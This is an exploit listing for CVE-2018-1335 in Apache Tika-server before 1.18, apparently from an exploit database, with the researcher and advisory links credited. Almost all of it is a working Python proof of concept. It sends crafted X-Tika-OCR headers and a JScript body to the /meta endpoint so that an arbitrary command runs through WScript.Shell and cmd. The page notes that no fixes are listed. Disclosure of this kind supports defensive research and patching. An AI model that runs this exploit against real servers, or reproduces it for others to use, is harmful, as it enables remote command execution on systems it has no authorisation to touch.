Apache Tika-server < 1.18 - Command Injection

2019-03-13 16:05:10

######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server. #
#Versions Affected: Tika-server versions < 1.18 #
#Researcher: David Yesland Twitter: @Daveysec #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]

url = host+":"+str(port)+"/meta"

headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}

jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)

try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)

except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

Fixes

No fixes

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